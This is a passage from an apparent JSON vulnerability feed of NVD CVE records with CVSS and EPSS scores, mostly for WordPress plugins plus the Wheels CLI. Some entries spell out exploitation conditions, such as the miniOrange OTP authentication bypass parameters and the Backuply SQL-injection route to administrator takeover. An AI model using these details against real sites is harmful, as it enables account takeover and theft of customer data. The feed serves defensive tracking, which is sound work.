/wp-json/instawp-connect/v2/auto-login` to mint a 30-second single-use login URL that sets an administrator authentication cookie — fully escalating their privileges. Exploitation requires the site to be actively connected to InstaWP and an administrator to have added the attacker's role to the plugin's Sync Tab Access list (`instawp_sync_tab_roles`); notably, the settings tab suppression logic only hides the tab when `administrator` is absent from the list entirely, meaning a mixed configuration retaining administrator alongside a lower role still serves the full settings page — including the API key — to the lower-privileged user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:29.350Z","updatedAt":"2026-10-16T16:17:03.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109400","asOf":"2026-10-16T16:17:03.387Z"},"epss":{"probability":0.0034,"percentile":0.27225,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109400","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109400","type":"primary","publishedAt":"2026-10-16T05:17:29.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109221","cveId":"CVE-2026-109221","aliases":[],"kind":"vulnerability","title":"The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file...","summary":"The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file function in all versions up to, and including, 4.9.3 This makes it possible for authenticated attackers, with Sales Representative-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable by any user holding the plugin-defined import_contacts capability, which is granted by default to the plugin's custom Sales Representative role.","detail":"The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file function in all versions up to, and including, 4.9.3 This makes it possible for authenticated attackers, with Sales Representative-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable by any user holding the plugin-defined import_contacts capability, which is granted by default to the plugin's custom Sales Representative role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:29.227Z","updatedAt":"2026-10-16T18:17:30.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109221","asOf":"2026-10-16T18:17:30.680Z"},"epss":{"probability":0.00767,"percentile":0.55236,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109221","type":"primary","publishedAt":"2026-10-16T05:17:29.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107746","cveId":"CVE-2026-107746","aliases":[],"kind":"vulnerability","title":"The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to...","summary":"The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve billing PII — including full name, street address, email address, and phone number — for any WooCommerce order on the site by submitting an enumerable sequential order ID. This is only exploitable on sites where a FunnelKit thank-you page exists that renders the [wfty_order_meta] or [wfty_order_total] shortcode.","detail":"The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve billing PII — including full name, street address, email address, and phone number — for any WooCommerce order on the site by submitting an enumerable sequential order ID. This is only exploitable on sites where a FunnelKit thank-you page exists that renders the [wfty_order_meta] or [wfty_order_total] shortcode.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:28.837Z","updatedAt":"2026-10-16T16:16:57.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107746","asOf":"2026-10-16T16:16:57.983Z"},"epss":{"probability":0.00318,"percentile":0.24448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107746","type":"primary","publishedAt":"2026-10-16T05:17:28.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107659","cveId":"CVE-2026-107659","aliases":[],"kind":"vulnerability","title":"The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id...","summary":"The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id (post ID in /wp-json/wp/v2/modula-gallery/{id}) or none for collection route' parameter. This makes it possible for unauthenticated attackers to extract the plaintext Password Protect password and username for every published gallery from the modulaSettings REST field. The plugin's own /wp-json/modula/v2/gallery/{id}/settings endpoint correctly redacts the password for unauthenticated callers via redact_settings_for_public(), but no equivalent redaction is applied on the core /wp-json/wp/v2/modula-gallery path exposed by show_in_rest=true CPT registration.","detail":"The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id (post ID in /wp-json/wp/v2/modula-gallery/{id}) or none for collection route' parameter. This makes it possible for unauthenticated attackers to extract the plaintext Password Protect password and username for every published gallery from the modulaSettings REST field. The plugin's own /wp-json/modula/v2/gallery/{id}/settings endpoint correctly redacts the password for unauthenticated callers via redact_settings_for_public(), but no equivalent redaction is applied on the core /wp-json/wp/v2/modula-gallery path exposed by show_in_rest=true CPT registration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:28.710Z","updatedAt":"2026-10-16T18:17:25.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107659","asOf":"2026-10-16T18:17:25.147Z"},"epss":{"probability":0.00302,"percentile":0.22765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107659","type":"primary","publishedAt":"2026-10-16T05:17:28.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103895","cveId":"CVE-2026-103895","aliases":[],"kind":"vulnerability","title":"The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the...","summary":"The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the `mo_by_pass_login()` function. This is due to `mo_delay_otp_process()` short-circuiting the authentication flow before password validation or the administrator intent gate (added in 5.5.6) can run, combined with the Delay OTP grace flag (`mov_last_verified_dttm`) being stored as a `user_meta` row keyed solely by target user ID with no binding to the originating session, cookie, IP address, or device. This makes it possible for unauthenticated attackers to authenticate as any WordPress user — including administrators — by submitting only a known username with the `mo_wp_login_intent=otp` parameter and any non-empty password, thereby inheriting a legitimate user's open Delay OTP grace window without ever supplying correct credentials. Exploitation requires the site to have OTP-only login (`wp_login_skip_password=1`, `wp_login_skip_password_fallback=0`) and Delay OTP Verification (`wp_login_delay_otp=1`) enabled, and the target account must currently be within its configured Delay OTP interval.","detail":"The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the `mo_by_pass_login()` function. This is due to `mo_delay_otp_process()` short-circuiting the authentication flow before password validation or the administrator intent gate (added in 5.5.6) can run, combined with the Delay OTP grace flag (`mov_last_verified_dttm`) being stored as a `user_meta` row keyed solely by target user ID with no binding to the originating session, cookie, IP address, or device. This makes it possible for unauthenticated attackers to authenticate as any WordPress user — including administrators — by submitting only a known username with the `mo_wp_login_intent=otp` parameter and any non-empty password, thereby inheriting a legitimate user's open Delay OTP grace window without ever supplying correct credentials. Exploitation requires the site to have OTP-only login (`wp_login_skip_password=1`, `wp_login_skip_password_fallback=0`) and Delay OTP Verification (`wp_login_delay_otp=1`) enabled, and the target account must currently be within its configured Delay OTP interval.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:28.333Z","updatedAt":"2026-10-16T16:16:54.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103895","asOf":"2026-10-16T16:16:54.177Z"},"epss":{"probability":0.00427,"percentile":0.3666,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103895","type":"primary","publishedAt":"2026-10-16T05:17:28.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103525","cveId":"CVE-2026-103525","aliases":[],"kind":"vulnerability","title":"The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including,...","summary":"The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.7.0 via the 'order_id + billing_address_id (also shipping_address_id)' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to read and exfiltrate another customer's stored billing and shipping address PII — including street address, city, state, postcode, phone number, company name, VAT number, and legal registration ID — by enumerating sequential AUTO_INCREMENT order and address ID pairs. The id-equality guard intended to restrict address reuse is bypassed because the attacker controls both halves of the compared pair, and the unauthenticated AJAX entry point imposes only a soft rate limit of 5 requests per 60 seconds rather than any authentication or ownership check.","detail":"The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.7.0 via the 'order_id + billing_address_id (also shipping_address_id)' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to read and exfiltrate another customer's stored billing and shipping address PII — including street address, city, state, postcode, phone number, company name, VAT number, and legal registration ID — by enumerating sequential AUTO_INCREMENT order and address ID pairs. The id-equality guard intended to restrict address reuse is bypassed because the attacker controls both halves of the compared pair, and the unauthenticated AJAX entry point imposes only a soft rate limit of 5 requests per 60 seconds rather than any authentication or ownership check.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:28.210Z","updatedAt":"2026-10-16T15:17:02.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103525","asOf":"2026-10-16T15:17:02.273Z"},"epss":{"probability":0.00375,"percentile":0.31143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103525&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103525","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103525","type":"primary","publishedAt":"2026-10-16T05:17:28.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103525&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103525, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97339","cveId":"CVE-2026-97339","aliases":[],"kind":"vulnerability","title":"The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all...","summary":"The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all versions up to, and including, 7.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress's wp_kses comment sanitization because the payload uses only allow-listed tags and hides executable tokens inside quoted attribute values as plain text; the XSS is only realized when Complianz's own output-buffer filter performs str_replace() rewrites that break out of the attribute context, and requires the comment to be approved before it executes for visitors.","detail":"The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all versions up to, and including, 7.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress's wp_kses comment sanitization because the payload uses only allow-listed tags and hides executable tokens inside quoted attribute values as plain text; the XSS is only realized when Complianz's own output-buffer filter performs str_replace() rewrites that break out of the attribute context, and requires the comment to be approved before it executes for visitors.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:44.817Z","updatedAt":"2026-10-16T17:18:01.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97339","asOf":"2026-10-16T17:18:01.900Z"},"epss":{"probability":0.00254,"percentile":0.16862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97339&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97339","type":"primary","publishedAt":"2026-10-16T04:18:44.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97339&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97339, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93953","cveId":"CVE-2026-93953","aliases":[],"kind":"vulnerability","title":"The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions...","summary":"The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions up to, and including, 1.5.8 due to insufficient escaping on the user supplied parameter and the lack of sufficient preparation on an existing SQL query. Backuply exports the Biographical Info value verbatim inside an INSERT statement written to the backup's SQL dump (wp_usermeta). When an Administrator later restores such a backup, the crafted payload breaks out of that INSERT statement and appends attacker-controlled SQL that executes with full database privileges. This makes it possible for authenticated attackers, with subscriber-level access and above, to write arbitrary data to the database — in particular to update the default_role option in wp_options to administrator (and enable open user registration) — so that a subsequently registered account is automatically granted the Administrator role, resulting in privilege escalation and full site takeover. Because the injection executes inside an INSERT during restore with no response returned to the attacker, the primitive is used to modify database records rather than to read existing data directly.","detail":"The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions up to, and including, 1.5.8 due to insufficient escaping on the user supplied parameter and the lack of sufficient preparation on an existing SQL query. Backuply exports the Biographical Info value verbatim inside an INSERT statement written to the backup's SQL dump (wp_usermeta). When an Administrator later restores such a backup, the crafted payload breaks out of that INSERT statement and appends attacker-controlled SQL that executes with full database privileges. This makes it possible for authenticated attackers, with subscriber-level access and above, to write arbitrary data to the database — in particular to update the default_role option in wp_options to administrator (and enable open user registration) — so that a subsequently registered account is automatically granted the Administrator role, resulting in privilege escalation and full site takeover. Because the injection executes inside an INSERT during restore with no response returned to the attacker, the primitive is used to modify database records rather than to read existing data directly.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:43.143Z","updatedAt":"2026-10-16T15:17:36.293Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93953","asOf":"2026-10-16T15:17:36.293Z"},"epss":{"probability":0.0034,"percentile":0.27163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93953","type":"primary","publishedAt":"2026-10-16T04:18:43.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111451","cveId":"CVE-2026-111451","aliases":[],"kind":"vulnerability","title":"Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents.","summary":"Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy release/version/rollback values can execute shell commands on deploy hosts as the SSH user and on the CI runner during builds. Package removal and destroy paths can delete unintended files; package extraction can overwrite other vendor files; generator names can write outside the project or inject executable CFML into generated code. Inputs may originate from CI variables, branch names, packages or an AI agent using the CLI's MCP tools. Also relevant are unencoded display properties in generated scaffold show views since 4.1.0 and in generated admin views, permitting stored XSS, and stale process-ID handling in RustCFML server commands that can terminate an unrelated process. This is fixed in 4.1.2; existing affected generated views also require the documented edit.","detail":"Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy release/version/rollback values can execute shell commands on deploy hosts as the SSH user and on the CI runner during builds. Package removal and destroy paths can delete unintended files; package extraction can overwrite other vendor files; generator names can write outside the project or inject executable CFML into generated code. Inputs may originate from CI variables, branch names, packages or an AI agent using the CLI's MCP tools. Also relevant are unencoded display properties in generated scaffold show views since 4.1.0 and in generated admin views, permitting stored XSS, and stale process-ID handling in RustCFML server commands that can terminate an unrelated process. This is fixed in 4.1.2; existing affected generated views also require the documented edit.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:31.667Z","updatedAt":"2026-10-16T16:17:04.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111451","asOf":"2026-10-16T16:17:04.480Z"},"epss":{"probability":0.00141,"percentile":0.03425,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111451&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111451","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111451","type":"primary","publishedAt":"2026-10-16T04:18:31.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111451&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111451, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111447","cveId":"CVE-2026-111447","aliases":[],"kind":"vulnerability","title":"Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved.","summary":"Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved. A user able to submit a nested form for their own parent can update and reassign another parent's hasMany or hasOne rows, or delete them when allowDelete=true. Nested belongsTo records can also be edited by posting another associated record's key. New child rows with composite primary keys not made up of foreign keys retain posted key values, allowing the request to choose their identity. This is fixed in 